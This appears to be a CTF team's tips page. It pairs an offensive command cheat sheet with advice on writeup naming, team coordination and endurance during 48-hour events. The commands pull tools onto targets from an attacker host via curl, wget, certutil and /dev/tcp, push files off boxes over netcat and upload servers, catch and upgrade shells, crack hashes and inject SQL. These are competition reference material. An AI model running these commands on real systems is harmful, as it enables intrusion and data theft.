[THUGS(red)]

CTF tips & tricks

The commands we retype every event, the naming convention that keeps our writeups findable, and the human side — which is what actually decides where you place in a 48-hour event.

serving files

Serving files

Quick HTTP server in the current directory

python3 -m http.server 8000
# bind to one interface only:
python3 -m http.server 8000 --bind 10.10.14.7

The workhorse. Serves the directory you are standing in.

HTTP server that accepts uploads

python3 -m uploadserver 8000
# pip install uploadserver

When you need to get files off the box, not onto it.

PHP and Ruby one-liners

php -S 0.0.0.0:8000
ruby -run -e httpd . -p 8000

For when python is not on the box but something else is.

SMB share for Windows targets

impacket-smbserver share $(pwd) -smb2support
# with credentials, which modern Windows insists on:
impacket-smbserver share $(pwd) -smb2support -user ctf -password ctf

Then \\10.10.14.7\share from the target.

Instant FTP or TFTP

python3 -m pyftpdlib -p 21 -w
sudo python3 -m tftpy.TftpServer 69 .

Old protocols are still the easiest path off restricted hosts.

moving files

Moving files

Download to a target

curl -sO http://10.10.14.7:8000/linpeas.sh
wget -q http://10.10.14.7:8000/linpeas.sh
# no curl or wget:
exec 3<>/dev/tcp/10.10.14.7/8000; echo -e 'GET /f HTTP/1.0\n' >&3; cat <&3

The bash /dev/tcp trick works on stripped containers.

Windows download

certutil -urlcache -f http://10.10.14.7:8000/nc.exe nc.exe
powershell -c "iwr http://10.10.14.7:8000/nc.exe -OutFile nc.exe"

certutil is signed and present everywhere.

Transfer over netcat

# receiver
nc -lvnp 9001 > out.bin
# sender
nc 10.10.14.7 9001 < in.bin

No protocol overhead, no logs, no fuss.

Base64 through a shell

base64 -w0 file.bin
# on the other side:
echo '<paste>' | base64 -d > file.bin

When all you have is a text field or a blind shell.

shells

Shells

Upgrade a dumb shell to a real TTY

python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background with ^Z and:
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200

Gives you tab completion, arrow keys, and survives ^C.

Listener that does not die

rlwrap nc -lvnp 4444

rlwrap adds history and line editing to any listener.

encoding, hashes and crypto

Encoding, hashes and crypto

Identify and crack a hash

hashid '$2y$10$...'
hashcat -m 3200 hash.txt rockyou.txt
john --wordlist=rockyou.txt hash.txt

hashid first — cracking the wrong mode wastes hours.

XOR and frequency work

xortool -c 00 encrypted.bin
python3 -c "print(bytes(a^0x42 for a in open('f','rb').read()))"

Single-byte XOR is the most common lazy obfuscation.

RSA with small or shared factors

python3 RsaCtfTool.py --publickey key.pub --uncipherfile cipher.bin
# factordb is often enough:
curl 'http://factordb.com/api?query=<n>'

Always try factordb before anything clever.

forensics and stego

Forensics and stego

First four commands on any file

file suspicious.bin
strings -n 8 suspicious.bin | less
binwalk -e suspicious.bin
exiftool suspicious.bin

Or just drop it on our /dump page and read the report.

Images

zsteg -a image.png
steghide extract -sf image.jpg
stegsolve image.png

zsteg for PNG/BMP, steghide for JPEG with a passphrase.

PCAP triage

tshark -r capture.pcap -q -z io,phs
tshark -r capture.pcap -Y 'http.request' -T fields -e http.host -e http.request.uri
foremost -i capture.pcap -o carved/

Protocol hierarchy first — it tells you where to look.

web

Web

Content discovery

ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404
gobuster dir -u http://target -w wordlist.txt -x php,txt,bak

Filter by size once you see the default 404 body.

Subdomain and vhost fuzzing

ffuf -u http://target -H 'Host: FUZZ.target' -w subdomains.txt -fs 1234
subdigger -d target.com --json

Our own subdigger pulls certificate transparency in too.

SQLi and injection basics

sqlmap -u 'http://target/?id=1' --batch --dbs
# time-based check by hand:
' OR SLEEP(5)-- -

Do the manual check first; sqlmap is loud.

writeup naming

Naming your writeups

One convention, so a writeup is findable two years later by someone who was not there:

<ctf_name>_<category_name>_<challenge_name>.pdf
<ctf_name>_<category_name>_<challenge_name>.md

cyberapocalypse2026_web_saltcrown.md
hacklab2025_pwn_babyheap.pdf
squarectf2026_crypto_rsa-warmup.txt
  • Lower case, underscores between the three parts, dashes inside a part.
  • No spaces, no dates in the filename — the site records those.
  • PDF, Markdown or plain text. Markdown renders directly on the site, so it is the friendliest to read.

Upload through the writeup form and the competition, category and challenge become searchable fields — the filename is then only a fallback.

running an event

Organising the team during an event

  • One channel per category. #ctf-web, #ctf-pwn, #ctf-crypto. Cross-talk in one big channel means nobody can find anything at hour 20.
  • Claim before you start. Post "taking challenge" before you open it. Two people burning four hours on the same challenge is the most common way teams lose points.
  • Say what you tried and why. Even a failure is intel: "the LFI works but I cannot get past the extension filter" saves the next person an hour.
  • Post the flag and a two-line method the moment it lands. Not the full writeup — just enough that somebody else can build on it.
  • Keep a pinned scoreboard message of what is solved, claimed and stuck. Update it, or it is a lie by hour six.
  • Hand off deliberately. Going to sleep? Post your notes, your foothold and your access before you do.

Holding your place on a CTFd scoreboard

  • Sweep the easy challenges first. Dynamic scoring means an easy challenge everyone solves is worth almost nothing — but zero solves is worth exactly nothing.
  • Watch decay. On dynamic scoring, points fall as solves rise. Early solves on a hard challenge are worth several easy ones.
  • Do not hoard flags. Submit as you go. Teams that save submissions for a dramatic finish lose to a network outage.
  • Check for first-blood bonuses in the rules; if they exist, prioritise differently.
  • Re-read the challenge text when stuck. The hint you dismissed at hour two is usually the answer at hour twenty.
staying functional

The part nobody writes down

A 48-hour CTF is an endurance event. The team that places well is usually not the smartest one — it is the one still thinking clearly on Sunday morning.

  • Drink water. Genuinely. Most "I cannot think" moments at hour 30 are dehydration, not difficulty.
  • Go easy on the energy drinks. Three in a row buys you two good hours and costs you six. Alternate with water.
  • Eat something that is not crisps. Order real food early, before nobody has the energy to decide.
  • Power naps work. Twenty minutes beats another can. If you have been stuck for an hour, sleep is a legitimate debugging strategy.
  • Stand up and walk around. Every hour or two. An astonishing number of solutions arrive on the way to the kitchen.
  • Take real breaks. Staring harder at the same terminal is not progress.
  • Hit a wall? Hand it over. Post what you have and let someone else look. They will spot the obvious thing you stopped seeing three hours ago — this is not failure, it is how teams work.
  • Ask for help early. Nobody on this team thinks less of you for asking. We do think less of six wasted hours.
  • Say when you are done. "I am out, here are my notes" is a contribution. Silently disappearing is not.

And afterwards: write it up while you still remember. Tomorrow you will not.